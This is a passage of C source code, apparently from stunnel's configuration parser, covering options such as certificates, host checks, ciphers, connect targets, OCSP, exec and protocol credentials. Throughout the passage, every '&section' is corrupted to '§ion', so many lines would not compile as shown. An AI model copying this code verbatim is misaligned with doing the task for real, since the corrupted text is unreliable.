section->cert=str_dup_detached(arg);\n return NULL; /* OK */\n case CMD_INITIALIZE:\n#ifndef OPENSSL_NO_PSK\n if(section->psk_keys)\n break;\n#endif /* !defined(OPENSSL_NO_PSK) */\n#ifndef OPENSSL_NO_ENGINE\n if(section->engine)\n break;\n#endif /* !defined(OPENSSL_NO_ENGINE) */\n if(!section->option.client && !section->cert)\n return \"TLS server needs a certificate\";\n break;\n case CMD_PRINT_DEFAULTS:\n break; /* no default certificate */\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = certificate chain\", \"cert\");\n break;\n }\n\n#if OPENSSL_VERSION_NUMBER>=0x10002000L\n\n /* checkEmail */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->check_email=NULL;\n break;\n case CMD_SET_COPY:\n name_list_dup(§ion->check_email,\n new_service_options.check_email);\n break;\n case CMD_FREE:\n name_list_free(section->check_email);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"checkEmail\"))\n break;\n name_list_append(§ion->check_email, arg);\n return NULL; /* OK */\n case CMD_INITIALIZE:\n if(section->check_email && !section->option.verify_chain && !section->option.verify_peer)\n return \"Either \\\"verifyChain\\\" or \\\"verifyPeer\\\" has to be enabled\";\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = peer certificate email address\",\n \"checkEmail\");\n break;\n }\n\n /* checkHost */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->check_host=NULL;\n break;\n case CMD_SET_COPY:\n name_list_dup(§ion->check_host,\n new_service_options.check_host);\n break;\n case CMD_FREE:\n name_list_free(section->check_host);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"checkHost\"))\n break;\n name_list_append(§ion->check_host, arg);\n return NULL; /* OK */\n case CMD_INITIALIZE:\n if(section->check_host && !section->option.verify_chain && !section->option.verify_peer)\n return \"Either \\\"verifyChain\\\" or \\\"verifyPeer\\\" has to be enabled\";\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = peer certificate host name pattern\",\n \"checkHost\");\n break;\n }\n\n /* checkIP */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->check_ip=NULL;\n break;\n case CMD_SET_COPY:\n name_list_dup(§ion->check_ip,\n new_service_options.check_ip);\n break;\n case CMD_FREE:\n name_list_free(section->check_ip);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"checkIP\"))\n break;\n name_list_append(§ion->check_ip, arg);\n return NULL; /* OK */\n case CMD_INITIALIZE:\n if(section->check_ip && !section->option.verify_chain && !section->option.verify_peer)\n return \"Either \\\"verifyChain\\\" or \\\"verifyPeer\\\" has to be enabled\";\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = peer certificate IP address\",\n \"checkIP\");\n break;\n }\n\n#endif /* OPENSSL_VERSION_NUMBER>=0x10002000L */\n\n /* ciphers */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->cipher_list=NULL;\n break;\n case CMD_SET_COPY:\n section->cipher_list=str_dup_detached(new_service_options.cipher_list);\n break;\n case CMD_FREE:\n str_free(section->cipher_list);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"ciphers\"))\n break;\n str_free(section->cipher_list);\n section->cipher_list=str_dup_detached(arg);\n return NULL; /* OK */\n case CMD_INITIALIZE:\n if(!section->cipher_list) {\n /* this is only executed for global options, because\n * section->cipher_list is no longer NULL in sections */\n#ifdef USE_FIPS\n if(new_global_options.option.fips)\n section->cipher_list=str_dup_detached(\"FIPS\");\n else\n#endif /* USE_FIPS */\n section->cipher_list=str_dup_detached(stunnel_cipher_list);\n }\n break;\n case CMD_PRINT_DEFAULTS:\n#ifdef USE_FIPS\n s_log(LOG_NOTICE, \"%-22s = %s %s\", \"ciphers\",\n \"FIPS\", \"(with \\\"fips = yes\\\")\");\n s_log(LOG_NOTICE, \"%-22s = %s %s\", \"ciphers\",\n stunnel_cipher_list, \"(with \\\"fips = no\\\")\");\n#else\n s_log(LOG_NOTICE, \"%-22s = %s\", \"ciphers\", stunnel_cipher_list);\n#endif /* USE_FIPS */\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = permitted ciphers for TLS 1.2 or older\", \"ciphers\");\n break;\n }\n\n#ifndef OPENSSL_NO_TLS1_3\n /* ciphersuites */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->ciphersuites=NULL;\n break;\n case CMD_SET_COPY:\n section->ciphersuites=str_dup_detached(new_service_options.ciphersuites);\n break;\n case CMD_FREE:\n str_free(section->ciphersuites);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"ciphersuites\"))\n break;\n str_free(section->ciphersuites);\n section->ciphersuites=str_dup_detached(arg);\n return NULL; /* OK */\n case CMD_INITIALIZE:\n if(!section->ciphersuites) {\n /* this is only executed for global options, because\n * section->ciphersuites is no longer NULL in sections */\n section->ciphersuites=str_dup_detached(stunnel_ciphersuites);\n }\n break;\n case CMD_PRINT_DEFAULTS:\n s_log(LOG_NOTICE, \"%-22s = %s %s\", \"ciphersuites\", stunnel_ciphersuites, \"(with TLSv1.3)\");\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = permitted ciphersuites for TLS 1.3\", \"ciphersuites\");\n break;\n }\n#endif /* TLS 1.3 */\n\n /* client */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->option.client=0;\n break;\n case CMD_SET_COPY:\n section->option.client=new_service_options.option.client;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"client\"))\n break;\n if(!strcasecmp(arg, \"yes\"))\n section->option.client=1;\n else if(!strcasecmp(arg, \"no\"))\n section->option.client=0;\n else\n return \"The argument needs to be either 'yes' or 'no'\";\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = yes|no client mode (remote service uses TLS)\",\n \"client\");\n break;\n }\n\n#if OPENSSL_VERSION_NUMBER>=0x10002000L\n\n /* config */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->config=NULL;\n break;\n case CMD_SET_COPY:\n name_list_dup(§ion->config, new_service_options.config);\n break;\n case CMD_FREE:\n name_list_free(section->config);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"config\"))\n break;\n name_list_append(§ion->config, arg);\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = command[:parameter] to execute\",\n \"config\");\n break;\n }\n\n#endif /* OPENSSL_VERSION_NUMBER>=0x10002000L */\n\n /* connect */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n addrlist_clear(§ion->connect_addr, 0);\n section->connect_session=NULL;\n break;\n case CMD_SET_COPY:\n addrlist_clear(§ion->connect_addr, 0);\n section->connect_session=NULL;\n name_list_dup(§ion->connect_addr.names,\n new_service_options.connect_addr.names);\n break;\n case CMD_FREE:\n name_list_free(section->connect_addr.names);\n str_free(section->connect_addr.addr);\n str_free(section->connect_session);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"connect\"))\n break;\n name_list_append(§ion->connect_addr.names, arg);\n return NULL; /* OK */\n case CMD_INITIALIZE:\n if(section->connect_addr.names) {\n if(!section->option.delayed_lookup &&\n !addrlist_resolve(§ion->connect_addr)) {\n s_log(LOG_INFO,\n \"Cannot resolve connect target - delaying DNS lookup\");\n section->connect_addr.num=0;\n section->redirect_addr.num=0;\n section->option.delayed_lookup=1;\n }\n if(section->option.client)\n section->connect_session=\n str_alloc_detached(section->connect_addr.num*sizeof(SSL_SESSION *));\n ++endpoints;\n }\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = [host:]port to connect\",\n \"connect\");\n break;\n }\n\n /* CRLpath */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->crl_dir=NULL;\n break;\n case CMD_SET_COPY:\n section->crl_dir=str_dup_detached(new_service_options.crl_dir);\n break;\n case CMD_FREE:\n str_free(section->crl_dir);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"CRLpath\"))\n break;\n str_free(section->crl_dir);\n if(arg[0]) /* not empty */\n section->crl_dir=str_dup_detached(arg);\n else\n section->crl_dir=NULL;\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = CRL directory\", \"CRLpath\");\n break;\n }\n\n /* CRLfile */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->crl_file=NULL;\n break;\n case CMD_SET_COPY:\n section->crl_file=str_dup_detached(new_service_options.crl_file);\n break;\n case CMD_FREE:\n str_free(section->crl_file);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"CRLfile\"))\n break;\n str_free(section->crl_file);\n if(arg[0]) /* not empty */\n section->crl_file=str_dup_detached(arg);\n else\n section->crl_file=NULL;\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = CRL file\", \"CRLfile\");\n break;\n }\n\n#ifndef OPENSSL_NO_ECDH\n\n /* curves */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->curves=str_dup_detached(DEFAULT_CURVES);\n break;\n case CMD_SET_COPY:\n section->curves=str_dup_detached(new_service_options.curves);\n break;\n case CMD_FREE:\n str_free(section->curves);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"curves\") && strcasecmp(opt, \"curve\"))\n break;\n str_free(section->curves);\n section->curves=str_dup_detached(arg);\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n s_log(LOG_NOTICE, \"%-22s = %s\", \"curves\", DEFAULT_CURVES);\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = ECDH curve names\", \"curves\");\n break;\n }\n\n#endif /* !defined(OPENSSL_NO_ECDH) */\n\n /* debug */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->log_level=LOG_NOTICE;\n#if !defined (USE_WIN32) && !defined (__vms)\n new_global_options.log_facility=LOG_DAEMON;\n#endif\n break;\n case CMD_SET_COPY:\n section->log_level=new_service_options.log_level;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"debug\"))\n break;\n return parse_debug_level(arg, section);\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n#if !defined (USE_WIN32) && !defined (__vms)\n s_log(LOG_NOTICE, \"%-22s = %s\", \"debug\", \"daemon.notice\");\n#else\n s_log(LOG_NOTICE, \"%-22s = %s\", \"debug\", \"notice\");\n#endif\n break;\n case CMD_PRINT_HELP:\n#if !defined (USE_WIN32) && !defined (__vms)\n s_log(LOG_NOTICE, \"%-22s = [facility].level (e.g. daemon.info)\", \"debug\");\n#else\n s_log(LOG_NOTICE, \"%-22s = level (e.g. info)\", \"debug\");\n#endif\n break;\n }\n\n /* delay */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->option.delayed_lookup=0;\n break;\n case CMD_SET_COPY:\n section->option.delayed_lookup=new_service_options.option.delayed_lookup;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"delay\"))\n break;\n if(!strcasecmp(arg, \"yes\"))\n section->option.delayed_lookup=1;\n else if(!strcasecmp(arg, \"no\"))\n section->option.delayed_lookup=0;\n else\n return \"The argument needs to be either 'yes' or 'no'\";\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE,\n \"%-22s = yes|no delay DNS lookup for 'connect' option\",\n \"delay\");\n break;\n }\n\n#ifndef OPENSSL_NO_ENGINE\n\n /* engineId */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n break;\n case CMD_SET_COPY:\n section->engine=new_service_options.engine;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"engineId\"))\n break;\n section->engine=engine_get_by_id(arg);\n if(!section->engine)\n return \"Engine ID not found\";\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = ID of engine to read the key from\",\n \"engineId\");\n break;\n }\n\n /* engineNum */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n break;\n case CMD_SET_COPY:\n section->engine=new_service_options.engine;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"engineNum\"))\n break;\n {\n char *tmp_str;\n int tmp_int=(int)strtol(arg, &tmp_str, 10);\n if(tmp_str==arg || *tmp_str) /* not a number */\n return \"Illegal engine number\";\n section->engine=engine_get_by_num(tmp_int-1);\n }\n if(!section->engine)\n return \"Illegal engine number\";\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = number of engine to read the key from\",\n \"engineNum\");\n break;\n }\n\n#endif /* !defined(OPENSSL_NO_ENGINE) */\n\n /* exec */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->exec_name=NULL;\n break;\n case CMD_SET_COPY:\n section->exec_name=str_dup_detached(new_service_options.exec_name);\n break;\n case CMD_FREE:\n str_free(section->exec_name);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"exec\"))\n break;\n str_free(section->exec_name);\n section->exec_name=str_dup_detached(arg);\n#ifdef USE_WIN32\n section->exec_args=str_dup_detached(arg);\n#else\n if(!section->exec_args) {\n section->exec_args=str_alloc_detached(2*sizeof(char *));\n section->exec_args[0]=str_dup_detached(section->exec_name);\n section->exec_args[1]=NULL; /* null-terminate */\n }\n#endif\n return NULL; /* OK */\n case CMD_INITIALIZE:\n if(section->exec_name)\n ++endpoints;\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = file execute local inetd-type program\",\n \"exec\");\n break;\n }\n\n /* execArgs */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->exec_args=NULL;\n break;\n case CMD_SET_COPY:\n#ifdef USE_WIN32\n section->exec_args=str_dup_detached(new_service_options.exec_args);\n#else\n section->exec_args=arg_dup(new_service_options.exec_args);\n#endif\n break;\n case CMD_FREE:\n#ifdef USE_WIN32\n str_free(section->exec_args);\n#else\n arg_free(section->exec_args);\n#endif\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"execArgs\"))\n break;\n#ifdef USE_WIN32\n str_free(section->exec_args);\n section->exec_args=str_dup_detached(arg);\n#else\n arg_free(section->exec_args);\n section->exec_args=arg_alloc(arg);\n#endif\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = arguments for 'exec' (including $0)\",\n \"execArgs\");\n break;\n }\n\n /* failover */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->failover=FAILOVER_PRIO;\n section->rr=0;\n break;\n case CMD_SET_COPY:\n section->failover=new_service_options.failover;\n section->rr=new_service_options.rr;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"failover\"))\n break;\n if(!strcasecmp(arg, \"rr\"))\n section->failover=FAILOVER_RR;\n else if(!strcasecmp(arg, \"prio\"))\n section->failover=FAILOVER_PRIO;\n else\n return \"The argument needs to be either 'rr' or 'prio'\";\n return NULL; /* OK */\n case CMD_INITIALIZE:\n if(section->option.delayed_lookup)\n section->failover=FAILOVER_PRIO;\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = rr|prio failover strategy\",\n \"failover\");\n break;\n }\n\n /* ident */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->username=NULL;\n break;\n case CMD_SET_COPY:\n section->username=str_dup_detached(new_service_options.username);\n break;\n case CMD_FREE:\n str_free(section->username);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"ident\"))\n break;\n str_free(section->username);\n section->username=str_dup_detached(arg);\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = username for IDENT (RFC 1413) checking\", \"ident\");\n break;\n }\n\n /* include */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n break;\n case CMD_SET_COPY:\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"include\"))\n break;\n return include_config(arg, section_ptr);\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = directory with configuration file snippets\",\n \"include\");\n break;\n }\n\n /* key */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->key=NULL;\n break;\n case CMD_SET_COPY:\n section->key=str_dup_detached(new_service_options.key);\n break;\n case CMD_FREE:\n str_free(section->key);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"key\"))\n break;\n str_free(section->key);\n section->key=str_dup_detached(arg);\n return NULL; /* OK */\n case CMD_INITIALIZE:\n if(section->cert && !section->key)\n section->key=str_dup_detached(section->cert);\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = certificate private key\", \"key\");\n break;\n }\n\n /* libwrap */\n#ifdef USE_LIBWRAP\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->option.libwrap=0; /* disable libwrap by default */\n break;\n case CMD_SET_COPY:\n section->option.libwrap=new_service_options.option.libwrap;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"libwrap\"))\n break;\n if(!strcasecmp(arg, \"yes\"))\n section->option.libwrap=1;\n else if(!strcasecmp(arg, \"no\"))\n section->option.libwrap=0;\n else\n return \"The argument needs to be either 'yes' or 'no'\";\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = yes|no use /etc/hosts.allow and /etc/hosts.deny\",\n \"libwrap\");\n break;\n }\n#endif /* USE_LIBWRAP */\n\n /* local */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->option.local=0;\n break;\n case CMD_SET_COPY:\n section->option.local=new_service_options.option.local;\n memcpy(§ion->source_addr, &new_service_options.source_addr,\n sizeof(SOCKADDR_UNION));\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"local\"))\n break;\n if(!hostport2addr(§ion->source_addr, arg, \"0\", 1))\n return \"Failed to resolve local address\";\n section->option.local=1;\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = IP address to be used as source for remote\"\n \" connections\", \"local\");\n break;\n }\n\n /* logId */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->log_id=LOG_ID_SEQUENTIAL;\n break;\n case CMD_SET_COPY:\n section->log_id=new_service_options.log_id;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"logId\"))\n break;\n if(!strcasecmp(arg, \"sequential\"))\n section->log_id=LOG_ID_SEQUENTIAL;\n else if(!strcasecmp(arg, \"unique\"))\n section->log_id=LOG_ID_UNIQUE;\n else if(!strcasecmp(arg, \"thread\"))\n section->log_id=LOG_ID_THREAD;\n else if(!strcasecmp(arg, \"process\"))\n section->log_id=LOG_ID_PROCESS;\n else\n return \"Invalid connection identifier type\";\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n s_log(LOG_NOTICE, \"%-22s = %s\", \"logId\", \"sequential\");\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = connection identifier type\",\n \"logId\");\n break;\n }\n\n#ifndef OPENSSL_NO_OCSP\n\n /* OCSP */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->ocsp_url=NULL;\n break;\n case CMD_SET_COPY:\n section->ocsp_url=str_dup_detached(new_service_options.ocsp_url);\n break;\n case CMD_FREE:\n str_free(section->ocsp_url);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"ocsp\"))\n break;\n str_free(section->ocsp_url);\n section->ocsp_url=str_dup_detached(arg);\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = OCSP responder URL\", \"OCSP\");\n break;\n }\n\n /* OCSPaia */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->option.aia=0; /* disable AIA by default */\n break;\n case CMD_SET_COPY:\n section->option.aia=new_service_options.option.aia;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"OCSPaia\"))\n break;\n if(!strcasecmp(arg, \"yes\"))\n section->option.aia=1;\n else if(!strcasecmp(arg, \"no\"))\n section->option.aia=0;\n else\n return \"The argument needs to be either 'yes' or 'no'\";\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE,\n \"%-22s = yes|no check the AIA responders from certificates\",\n \"OCSPaia\");\n break;\n }\n\n /* OCSPflag */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->ocsp_flags=0;\n break;\n case CMD_SET_COPY:\n section->ocsp_flags=new_service_options.ocsp_flags;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"OCSPflag\"))\n break;\n {\n unsigned long tmp_ulong=parse_ocsp_flag(arg);\n if(!tmp_ulong)\n return \"Illegal OCSP flag\";\n section->ocsp_flags|=tmp_ulong;\n }\n return NULL;\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = OCSP responder flags\", \"OCSPflag\");\n break;\n }\n\n /* OCSPnonce */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->option.nonce=0; /* disable OCSP nonce by default */\n break;\n case CMD_SET_COPY:\n section->option.nonce=new_service_options.option.nonce;\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"OCSPnonce\"))\n break;\n if(!strcasecmp(arg, \"yes\"))\n section->option.nonce=1;\n else if(!strcasecmp(arg, \"no\"))\n section->option.nonce=0;\n else\n return \"The argument needs to be either 'yes' or 'no'\";\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE,\n \"%-22s = yes|no send and verify the OCSP nonce extension\",\n \"OCSPnonce\");\n break;\n }\n\n#endif /* !defined(OPENSSL_NO_OCSP) */\n\n /* options */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->ssl_options_set=0;\n#if OPENSSL_VERSION_NUMBER>=0x009080dfL\n section->ssl_options_clear=0;\n#endif /* OpenSSL 0.9.8m or later */\n break;\n case CMD_SET_COPY:\n section->ssl_options_set=new_service_options.ssl_options_set;\n#if OPENSSL_VERSION_NUMBER>=0x009080dfL\n section->ssl_options_clear=new_service_options.ssl_options_clear;\n#endif /* OpenSSL 0.9.8m or later */\n break;\n case CMD_FREE:\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"options\"))\n break;\n#if OPENSSL_VERSION_NUMBER>=0x009080dfL\n if(*arg=='-') {\n long unsigned tmp=parse_ssl_option(arg+1);\n if(tmp==INVALID_SSL_OPTION)\n return \"Illegal TLS option\";\n section->ssl_options_clear|=tmp;\n return NULL; /* OK */\n }\n#endif /* OpenSSL 0.9.8m or later */\n {\n long unsigned tmp=parse_ssl_option(arg);\n if(tmp==INVALID_SSL_OPTION)\n return \"Illegal TLS option\";\n section->ssl_options_set|=tmp;\n }\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n s_log(LOG_NOTICE, \"%-22s = %s\", \"options\", \"NO_SSLv2\");\n s_log(LOG_NOTICE, \"%-22s = %s\", \"options\", \"NO_SSLv3\");\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = TLS option to set/reset\", \"options\");\n break;\n }\n\n /* protocol */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->protocol=NULL;\n break;\n case CMD_SET_COPY:\n section->protocol=str_dup_detached(new_service_options.protocol);\n break;\n case CMD_FREE:\n str_free(section->protocol);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"protocol\"))\n break;\n str_free(section->protocol);\n section->protocol=str_dup_detached(arg);\n return NULL; /* OK */\n case CMD_INITIALIZE:\n /* PROTOCOL_CHECK also initializes:\n section->option.connect_before_ssl\n section->option.protocol_endpoint */\n {\n char *tmp_str=protocol(NULL, section, PROTOCOL_CHECK);\n if(tmp_str)\n return tmp_str;\n }\n endpoints+=section->option.protocol_endpoint;\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = protocol to negotiate before TLS initialization\",\n \"protocol\");\n s_log(LOG_NOTICE, \"%25scurrently supported: cifs, connect, imap,\", \"\");\n s_log(LOG_NOTICE, \"%25s nntp, pgsql, pop3, proxy, smtp, socks\", \"\");\n break;\n }\n\n /* protocolAuthentication */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->protocol_authentication=str_dup_detached(\"basic\");\n break;\n case CMD_SET_COPY:\n section->protocol_authentication=\n str_dup_detached(new_service_options.protocol_authentication);\n break;\n case CMD_FREE:\n str_free(section->protocol_authentication);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"protocolAuthentication\"))\n break;\n str_free(section->protocol_authentication);\n section->protocol_authentication=str_dup_detached(arg);\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = authentication type for protocol negotiations\",\n \"protocolAuthentication\");\n break;\n }\n\n /* protocolDomain */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->protocol_domain=NULL;\n break;\n case CMD_SET_COPY:\n section->protocol_domain=\n str_dup_detached(new_service_options.protocol_domain);\n break;\n case CMD_FREE:\n str_free(section->protocol_domain);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"protocolDomain\"))\n break;\n str_free(section->protocol_domain);\n section->protocol_domain=str_dup_detached(arg);\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = domain for protocol negotiations\",\n \"protocolDomain\");\n break;\n }\n\n /* protocolHost */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->protocol_host=NULL;\n break;\n case CMD_SET_COPY:\n section->protocol_host=\n str_dup_detached(new_service_options.protocol_host);\n break;\n case CMD_FREE:\n str_free(section->protocol_host);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"protocolHost\"))\n break;\n str_free(section->protocol_host);\n section->protocol_host=str_dup_detached(arg);\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = host:port for protocol negotiations\",\n \"protocolHost\");\n break;\n }\n\n /* protocolPassword */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->protocol_password=NULL;\n break;\n case CMD_SET_COPY:\n section->protocol_password=\n str_dup_detached(new_service_options.protocol_password);\n break;\n case CMD_FREE:\n str_free(section->protocol_password);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"protocolPassword\"))\n break;\n str_free(section->protocol_password);\n section->protocol_password=str_dup_detached(arg);\n return NULL; /* OK */\n case CMD_INITIALIZE:\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n s_log(LOG_NOTICE, \"%-22s = password for protocol negotiations\",\n \"protocolPassword\");\n break;\n }\n\n /* protocolUsername */\n switch(cmd) {\n case CMD_SET_DEFAULTS:\n section->protocol_username=NULL;\n break;\n case CMD_SET_COPY:\n section->protocol_username=\n str_dup_detached(new_service_options.protocol_username);\n break;\n case CMD_FREE:\n str_free(section->protocol_username);\n break;\n case CMD_SET_VALUE:\n if(strcasecmp(opt, \"protocolUsername\"))\n break;\n str_free(section->protocol_username);\n section->protocol_username=str_dup_detached(arg);\n return NULL; /* OK */\n 